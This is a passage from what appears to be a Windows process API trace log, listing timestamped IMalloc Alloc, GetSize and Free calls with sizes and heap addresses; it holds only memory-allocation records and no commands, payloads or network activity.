(This=0x7ff9e7edf3f0, pv=0x2764b829bb0) [0111.181] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829db0) [0111.181] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb061d0) [0111.181] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05b70) [0111.182] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05b40) [0111.182] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb060b0) [0111.182] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb058d0) [0111.182] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb058a0) [0111.182] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb059c0) [0111.182] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a3b0) [0111.182] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05ea0) [0111.182] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05bd0) [0111.182] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb059f0) [0111.182] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05a20) [0111.182] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b8297b0 [0111.182] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x34) returned 0x2764b829bf0 [0111.182] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb059f0 [0111.182] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb05780 [0111.182] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb06290 [0111.182] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb05fc0 [0111.183] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05ff0 [0111.183] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x22) returned 0x2764bb05c60 [0111.183] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb056f0 [0111.183] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05d50 [0111.183] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb057b0 [0111.183] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05c00 [0111.183] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b50f180 [0111.183] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ee0 [0111.183] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f60 [0111.183] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6920 [0111.184] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a20 [0111.184] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f00 [0111.184] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ae0 [0111.184] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6f20 [0111.184] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6da0 [0111.184] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c60 [0111.184] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b00 [0111.184] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6780 [0111.184] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6dc0 [0111.184] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.184] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68e0 [0111.184] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b881ab0 [0111.184] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b881ab0) returned 0x40 [0111.185] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b881ab0) [0111.185] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b881f60 [0111.185] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b881f60) returned 0x40 [0111.186] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b881f60) [0111.186] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090e0 [0111.186] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090e0) returned 0x8 [0111.187] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090e0) [0111.187] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb090e0 [0111.187] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb090e0) returned 0x8 [0111.187] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb090e0) [0111.187] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e67a0 [0111.187] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e67a0) returned 0x10 [0111.187] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e67a0) [0111.187] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b882410 [0111.187] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b882410) returned 0x40 [0111.188] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b882410) [0111.188] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6de0 [0111.188] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6de0) returned 0x18 [0111.201] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6de0) [0111.201] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ba0 [0111.201] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6ba0) returned 0x10 [0111.202] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ba0) [0111.202] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6e20 [0111.202] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e20) returned 0x18 [0111.202] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e20) [0111.202] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb05b70 [0111.202] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb05b70) returned 0x28 [0111.203] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05b70) [0111.203] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb05840 [0111.203] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb05840) returned 0x28 [0111.203] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05840) [0111.203] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb05d80 [0111.203] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb05d80) returned 0x28 [0111.203] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb05d80) [0111.203] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092b0 [0111.203] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092b0) returned 0x8 [0111.204] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092b0) [0111.204] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f90 [0111.204] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f90) returned 0x8 [0111.204] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f90) [0111.205] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6920) [0111.205] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ee0) [0111.205] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f60) [0111.205] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a20) [0111.205] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.205] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ae0) [0111.205] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68e0) [0111.205] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6dc0) [0111.205] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6780) [0111.205] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b00) [0111.205] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c60) [0111.205] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6da0) [0111.205] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f20) [0111.205] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6f00) [0111.205] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b50f180) [0111.205] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8297b0) [0111.205] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b829bf0) [0111.205] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb059f0) [0111.206] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2e) returned 0x2764b829830 [0111.206] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb05900 [0111.206] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05db0 [0111.206] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x32) returned 0x2764b829eb0 [0111.207] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb06140 [0111.207] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2c) returned 0x2764b82a4b0 [0111.207] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1e) returned 0x2764bb05b10 [0111.207] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05de0 [0111.207] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb058d0 [0111.207] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05a20 [0111.207] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05ba0 [0111.207] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb06110 [0111.208] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05b70 [0111.208] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b829cb0 [0111.208] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2a) returned 0x2764b82a470 [0111.208] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb05930 [0111.208] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb062c0 [0111.208] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e67e0 [0111.208] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6d80 [0111.209] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6ca0 [0111.209] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6a00 [0111.209] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb061d0 [0111.209] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb06170 [0111.209] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb05960 [0111.209] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb05720 [0111.209] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x34) returned 0x2764b829870 [0111.209] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x34) returned 0x2764b829770 [0111.210] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb05990 [0111.210] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764bb060b0 [0111.210] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb05ae0 [0111.210] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764bb05c00 [0111.210] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb05e10 [0111.210] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb059c0 [0111.210] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764bb059f0 [0111.210] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x400) returned 0x2764b511200 [0111.210] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e69c0 [0111.210] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b80 [0111.211] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6cc0 [0111.211] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c80 [0111.211] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6da0 [0111.211] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6920 [0111.211] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6960 [0111.211] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6940 [0111.211] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c40 [0111.211] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ce0 [0111.211] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6880 [0111.211] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e20 [0111.211] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6900 [0111.211] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6980 [0111.212] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e67c0 [0111.212] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b40 [0111.212] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6be0 [0111.212] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68e0 [0111.212] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d00 [0111.212] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6860 [0111.213] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e67a0 [0111.213] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6aa0 [0111.213] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e69e0 [0111.213] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d20 [0111.213] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6d40 [0111.213] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6800 [0111.213] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6dc0 [0111.213] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a20 [0111.213] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6c60 [0111.213] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6de0 [0111.213] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a40 [0111.213] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a60 [0111.214] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6a80 [0111.214] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6a80) returned 0x18 [0111.214] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fe0 [0111.214] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fe0) returned 0x8 [0111.214] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08fa0 [0111.214] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08fa0) returned 0x8 [0111.214] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e40 [0111.214] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e40) returned 0x10 [0111.214] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb05b40 [0111.214] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb05b40) returned 0x20 [0111.215] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b829e30 [0111.215] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b829e30) returned 0x30 [0111.215] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b881f60 [0111.215] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b881f60) returned 0x48 [0111.215] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6820 [0111.215] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6820) returned 0x10 [0111.216] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6820) [0111.216] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091e0 [0111.216] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091e0) returned 0x8 [0111.217] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091e0) [0111.217] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6b20 [0111.218] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6b20) returned 0x10 [0111.218] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b20) [0111.219] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb091a0 [0111.219] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb091a0) returned 0x8 [0111.220] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb091a0) [0111.220] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e40 [0111.220] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e40) returned 0x10 [0111.221] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e40) [0111.221] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09250 [0111.221] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09250) returned 0x8 [0111.221] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09250) [0111.221] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e80 [0111.221] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) returned 0x10 [0111.224] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) [0111.224] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092a0 [0111.224] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) returned 0x8 [0111.226] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) [0111.226] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e80 [0111.226] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) returned 0x10 [0111.226] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e80) [0111.226] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09030 [0111.226] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09030) returned 0x8 [0111.227] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09030) [0111.227] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e40 [0111.227] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e40) returned 0x10 [0111.227] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e40) [0111.227] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09190 [0111.227] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09190) returned 0x8 [0111.227] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09190) [0111.227] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6780 [0111.227] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6780) returned 0x10 [0111.227] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6780) [0111.227] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08ff0 [0111.227] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) returned 0x8 [0111.228] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08ff0) [0111.228] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a80 [0111.228] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6a80) returned 0x10 [0111.228] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a80) [0111.228] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092a0 [0111.228] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) returned 0x8 [0111.228] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092a0) [0111.228] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6e40 [0111.228] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e40) returned 0x10 [0111.228] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e40) [0111.228] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092f0 [0111.229] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092f0) returned 0x8 [0111.229] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092f0) [0111.229] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6a80 [0111.229] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6a80) returned 0x10 [0111.229] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a80) [0111.229] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092c0 [0111.229] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092c0) returned 0x8 [0111.229] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092c0) [0111.229] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ae0 [0111.229] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6ae0) returned 0x10 [0111.234] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ae0) [0111.234] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb092f0 [0111.234] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb092f0) returned 0x8 [0111.270] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb092f0) [0111.270] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e68c0 [0111.270] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e68c0) returned 0x10 [0111.270] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e68c0) [0111.270] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09000 [0111.270] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09000) returned 0x8 [0111.270] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09000) [0111.270] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6ee0 [0111.271] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6ee0) returned 0x10 [0111.271] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6ee0) [0111.271] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6840 [0111.271] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6840) returned 0x10 [0111.271] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6840) [0111.271] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09090 [0111.272] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09090) returned 0x8 [0111.272] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09090) [0111.272] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e6e40 [0111.272] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6e40) returned 0x18 [0111.273] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e40) [0111.273] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb09130 [0111.273] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb09130) returned 0x8 [0111.273] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb09130) [0111.273] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb08f30 [0111.273] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb08f30) returned 0x8 [0111.273] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb08f30) [0111.273] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e6820 [0111.273] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b9e6820) returned 0x10 [0111.273] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6820) [0111.273] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764bb061a0 [0111.273] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb061a0) returned 0x20 [0111.274] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb061a0) [0111.274] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x2764b82a270 [0111.274] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b82a270) returned 0x30 [0111.274] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b82a270) [0111.274] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b881fb0 [0111.274] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b881fb0) returned 0x48 [0111.277] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d40) [0111.277] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6e20) [0111.277] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e69c0) [0111.277] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6c80) [0111.277] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6b80) [0111.277] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6da0) [0111.277] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6cc0) [0111.277] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6920) [0111.277] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e67a0) [0111.277] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6a60) [0111.277] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6960) [0111.277] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6aa0) [0111.277] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e69e0) [0111.277] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e6d20) 